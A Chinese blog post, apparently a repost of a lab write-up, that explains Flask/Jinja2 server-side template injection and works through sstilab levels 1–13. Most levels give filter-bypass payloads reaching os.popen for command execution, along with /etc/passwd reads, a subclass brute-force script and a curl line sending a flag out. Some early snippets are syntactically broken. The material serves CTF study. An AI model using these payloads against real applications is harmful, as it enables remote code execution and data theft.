分享

flask的SSTI注入

 zZ华 2023-03-16 发布于广东


前言

写过很多的SSTI的题,但是一直没有总结过,最近也算是忙,这次,是稍微写写关于SSTI的东西,以后复习了可以好看看,也不至于每次都拿别人的payload

了解flask框架

关于flask的SSTI注入,我们在了解他的注入原理之前,我们先看看flask框架是怎么使用的。

flask基础

route装饰器路由

@app.route('/')

使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。

例如

from flask import flask 
app = Flask(__name__)
@app.route('/')
def test()'
return 123
@app.route('/index/')
def hello_word():
return 'hello word'
if __name__ == '__main__':
app.run(port=5000)

访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word

在用@app.route('/')的时候,在之前需要定义app = Flask(__name__)不然会报错

还可设置动态网址

@app.route('/<username>')
def hello_user(username):

return 'user:%s'%username

Image


模板渲染方法

flask渲染方法有render_template和render_template_string两种,我们需要做的就是,将我们想渲染的值传入模板的变量里

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

这个时候我们就需要了解一下flask的目录结构了

├── app.py  
├── static
│ └── style.css
└── templates
└── index.html

其中,static和templates都是需要自己新建的。其中templates目录里的index.html就是所谓的模板

我们写一个index.html

<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{name}}!</h1>
</body>
</html>

这里面需要我们传入两个值,一个是title另一个是name。
我们在server.py里面进行渲染传值

from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html',title='Home',name='user')
if __name__ == '__main__':
app.run(port=5000)

Image

在这里,我们手动传值的,所以是安全的

但是如果,我们传值的机会给用户

假如我们渲染的是一句话

from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():
id = request.args.get('id')
html = '''
<h1>%s</h1>
'''%(id)
return render_template_string(html)
if __name__ == '__main__':
app.run(port=5000)

如果我们传入一个xss就会达到我们需要的效果

Image

这就是传入的值被html直接运行回显,我们对代码进行微改。

@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)

再次传入xss就不能实现了

因为在传入相应的值得时候,会对值进行转义,这样就很能好多而避免了xss这些

所以SSTI注入形成的原因就是:开发人员因为懒惰,没有将渲染模板写成一个文件,而是直接用render_template_string来渲染,当然,如果有传值过程还行,但是如果没有传值过程,传入数据不经过转义,那可能就会导致SSTI注入。
那么漏洞原理就是因为不够严谨的构造代码导致的。

魔法方法和内置属性

在写题前,先了解python的一些ssti的魔术方法。
__class__

用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型,返回<type 'type’> ; 也是类的实例的属性,表示实例对象的类。

Image

__bases__

用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。注意是直接父类!!!
使用语法:类名.bases

Image

__mro__也能获取基类

Image

__subclasses__()
获取当前类的所有子类,即Object的子类

Image

而我们注入就是通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。
__init__
重载子类,获取子类初始化的属性。
__globals__
函数会以字典的形式返回当前位置的全部全局变量
就比如:
os._wrap_close.__init__.__globals__,可以获取到os中的一些函数,进行文件读取。

文件读取

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()')
// os.popen() 方法用于从一个命令打开一个管道。返回一个文件描述符号为fd的打开的文件对象。
利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

os
.__init__.__globals__['popen']('type flag').read()
当然,这些子类都不是那么容易找到的,这里贴一个脚本
上文的59就是子类WarningMessage的用它替换下面的_wrap_close即可

for i in range(300):
data = {'code': '{{''.__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if '_wrap_close' in response.text:
print(i,'----->',response.text)
break
except :
pass

还有jinjia语法下的小脚本。

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval('import('os').popen('ls /').read()')}}{% endif %}{% endfor %}

//查看flag

{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval('import('os').popen('cat /flag').read()')}}
{% endif %}{% endfor %}

实战

关于Flask SSTI 的实战题,其实有很多,但是大多都比较碎,知识点都不怎么集中,虽然可以学习到一些知识,但是并非系统的学习。但是我在一次偶然,发现了sstilab的靶场,是比较系统的可以学习到关于如何绕过过滤的一些知识。并且,新手小白,一般拿到题,都会有些迷茫,这里则会提供多种不同的解决思路。
下面放入每一关过滤的东西,以后要是写题遇到类似的,可以直接对比关卡,拿payload

Image

level 1

法一

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval('__import__('os').popen('dir').read()')}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval('__import__('os').popen('dir').read()')}}{% endif %}{% endfor %}

Image

法二

师傅直接手搓脚本

import requests

url = 'http://127.0.0.1:5000/level/1'

for i in range(300):
data = {'code': '{{''.__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if '_wrap_close' in response.text:
print(i,'----->',response.text)
break
except :
pass

找到我们使用的需要的子类,构造payload
''.__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()

level 2

过滤了{{}},可以使用{%%}代替,
但是
{%%},没有输出,所以需要我们print
{%print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read())%}
法二
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{%print( c.__init__.__globals__['__builtins__'].eval('__import__('os').popen('dir').read()'))%}{% endif %}{% endfor %}

Image

脚本微改:

data = {'code': '{%print(''.__class__.__base__.__subclasses__()['+ str(i) +'])%}'}

level 3

无过滤,但是有回显
语句正确回显correct,语句不正确回显wrong

import requests

url = 'http://192.168.0.108:5001/level/3'

for i in range(300):
try:
data = {'code': '{{''.__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__['popen']('curl http://127.0.0.1:5001/`cat flag`').read()}}'}
response = requests.post(url,data=data)
except :
pass

windows环境反引号没有用,所以本地抓取不到信息

  Image

level 4

过滤了中括号

getitem() 是python的一个魔法方法,当对列表使用时,传入整数返回列表对应索引的值;对字典使用时,传入字符串,返回字典相应键所对应的值.

{{''.__class__.__base__.__subclasses__()[139].__init__.__globals__.__getitem__('popen')('type flag').read()}}

level 5

过滤了了引号和双引号
request.args

在搭建flask时,大多数程序内部都会使用 flask的request来解析get请求.此出我们就可以通过构造带参数的url,配合 request.args 获取构造参数的内容来绕过限制

POST:
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}
GET:
a=popen&b=type flag

level 6

过滤了_
用过滤器绕过| attr()
关于过滤器;

  1. 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数

  2. 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.

经常使用的的过滤器:

length() # 获取一个序列或者字典的长度并将其返回

int():# 将值转换为int类型;

float():# 将值转换为float类型;

lower():# 将字符串转换为小写;

upper():# 将字符串转换为大写;

reverse():# 反转字符串;

replace(value,old,new):# 将value中的old替换为new

list():# 将变量转换为列表类型;

string():# 将变量转换成字符串类型;

join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): # 获取对象的属性

_的十六进制编码为\x5f

所以__class__可以写成\x5f\x5fclass\x5f\x5f

因为我们需要用十六进制编码_,而编码过后的_不能和.直接相连,这个时候就需要过滤器和_连接了,所以foo|attr('bar')=foo.bar
十六进制编码和Unicode编码都可以,以及base64编码和rot13等编码去绕过。
payload:

().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
# 编码后
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(139)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen')('type flag')|attr('read')()}}
# base64 未绕过成功
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(139)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen')('dHlwZSBmbGFn'.decode('base64'))|attr('read')()}}
这里面展示一个unioncode编码 未绕过成功
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('dir')|attr('read')()}}
{{()|attr('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f')|attr('\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f')|attr('\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f')()|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')(139)|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('os')|attr('popen')('dir')|attr('read')()}}

level 7

过滤了.,可以使用[]绕过。

python语法除了可以使用点 .来访问对象属性外,还可以使用中括号[].同样也可以使用**getitem** ``{{()['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('cat flag')['read']()}}

level 8

过滤了关键字

关键字过滤,最简单的办法就是字符串拼接,比如'class'可以写成'cla''ss'

其他方法

1编码
2在jinjia2语法中~可以进行连接,比如:{
%set a='__cla'%}{%set aa='ss__%}{{a~aa}}
3使用join过滤器.例如使用{%set a=dict(__cla=a,ss__=a)|join%}{{a}}会将__cla和ss__拼接在一起,或者{%set a=['__cla','ss__']|join%}{{a}}
4使用reverse过滤器.如{%set a='__ssalc__'|reverse%}{{a}}
5使用replace过滤器.如{%set a='__claee__'|replace('ee','ss')%}{{a}}
6使用python中的char()

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}

level 9

过滤数字

__subclasses__()[139],我们要塑造139这个数字
使用过滤器
|length,来塑造。
{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{a}}
// 12*11+7=139

Image

{% set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('type flag').read()}}

Image

level 10

过滤了全局变量
没有了全局变量
{{config}}/{{self}}
均被ban掉,所以得重新寻找一个储存相关信息的变量
发现存在这么一个变量current_app是我们需要的,官网对
current_app提供了这么一句说明

应用上下文会在必要时被创建和销毁。它不会在线程间移动,并且也不会在不同的请求之间共享。正因为如此,它是一个存储数据库连接信息或是别的东西的最佳位置。

payload:
{{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}}
拿到{{config}}

level 11

过滤了'\'', ''', '+', 'request', '.', '[', ']'
过滤的[]可以通过__getitem__绕过,.可以通过attr绕过,' '可以通过request构造参数代替,但是request被ban了
所以关键就是如何构造
' '

在Level 9 bypass keyword 的扩展中,使用过滤器dict()|join构造关键子的过程中没有出现' ',可以使用这种办法绕过.

{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}

Image

但是,这里的弊端就是构造命令 cat flag的时候,空格无法识别,所以要如何绕过空格呢?

师傅的思路是这样的:

通过以下构造可以得到字符串,举个例,可以发现输出的字符串中存在空格、部分数字、<以及部分字母.利用过滤器list将其变为列表类型再配合使用索引,就能得到我们想要的.

{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

本地演示一下

Image

Image

当使用urlencode的时候还会出现%,当其被过滤的时候可以使用。
构造payload

原型payload:
().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()

构造:
{%set a=dict(__cla=a,ss__=b)|join %}# __class__
{%set b=dict(__bas=a,e__=b)|join %}# __base__
{%set c=dict(__subcla=a,sses__=b)|join %}# __subclasses__
{%set d=dict(__ge=a,titem__=a)|join%}# __getitem__
{%set e=dict(__in=a,it__=b)|join %}# __init__
{%set f=dict(__glo=a,bals__=b)|join %}# __globals__
{%set g=dict(pop=a,en=b)|join %}# popen
{%set h=self|string|attr(d)(18)%}# 空格
{%set i=(dict(type=abc)|join,h,dict(flag=b)|join)|join%}# type flag
{%set j=dict(read=a)|join%}# read
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(139)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}# 拼接

Image

level 12

和上一关的区别就是,没有过滤request,但是过滤了数字。可以通过request.args传参绕过。

不过request|attr('args')|attr('a')并不能获取到通过get传递过来的a参数,所以这里得跟换为request.args.get()来获取get参数

但是一个个构造太长了
所以从羽师傅那里找到一条简短的构造链
{{x.__init__.__globals__['__builtins__']}}

Image

构造payload

get:
?z=__init__&zz=__globals__&zzz=__builtins__&zzzz=eval&zzzzz=__import__('os').popen('type flag').read()
post:
{%set a={}|select|string|list%}
{%set b=dict(pop=a)|join%}
{%set c=a|attr(b)(self|string|length)%}
{%set d=(c,c,dict(getitem=a)|join,c,c)|join%}
{%set e=dict(args=a)|join%}
{%set f=dict(get=a)|join%}
{%set g=dict(z=a)|join%}
{%set gg=dict(zz=a)|join%}
{%set ggg=dict(zzz=a)|join%}
{%set gggg=dict(zzzz=a)|join%}
{%set ggggg=dict(zzzzz=a)|join%}
{{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}

Image

level 13

比上面过滤的更多关键字,但是我们依然可以使用上一关的思路
payload

{%set a={}|select|string|list%}
{%set ax={}|select|string|list%}
{%set aa=dict(ssss=a)|join%}
{%set aaa=dict(ssssss=a)|join%}
{%set aaaa=dict(ss=a)|join%}
{%set aaaaa=dict(sssss=a)|join%}
{%set b=dict(pop=a)|join%} # pop
{%set c=a|attr(b)(aa|length*aaa|length)%} # _
{%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格
{%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%} # __getitem__
{%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%} # __init__
{%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%} # __globals__
{%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%} # __builtins__
{%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%} # __import__
{%set ee=(dict(o=a,s=a)|join)|join%} # os
{%set eee=(dict(po=a,pen=a)|join)|join%} # popen
{%set eeee=(dict(type=a)|join,cc,dict(flag=a)|join)|join%} # type flag
{%set f=(dict(rea=a,d=a)|join)|join%} # read
{{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}

Image

总结

这次总算是把flask框架的SSTI注入给弄的差不多了,以后遇见了也不会手忙脚乱了。继续加油吧!!!

参考

https://xz.aliyun.com/t/10394#toc-7
https://www./docs/share/d300c853-152b-4d65-9161-a5645f1dd77c?#Level-1
https://misakikata./2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3
https://blog.csdn.net/qq_45521281/article/details/106243544
https://blog.csdn.net/qq_45521281/article/details/106252560
http://www./article/p-psmjcwyp-dg.html
https://misakikata./2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3

作者:先知社区【w0w】转载自:https://xz.aliyun.com/t/12181

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多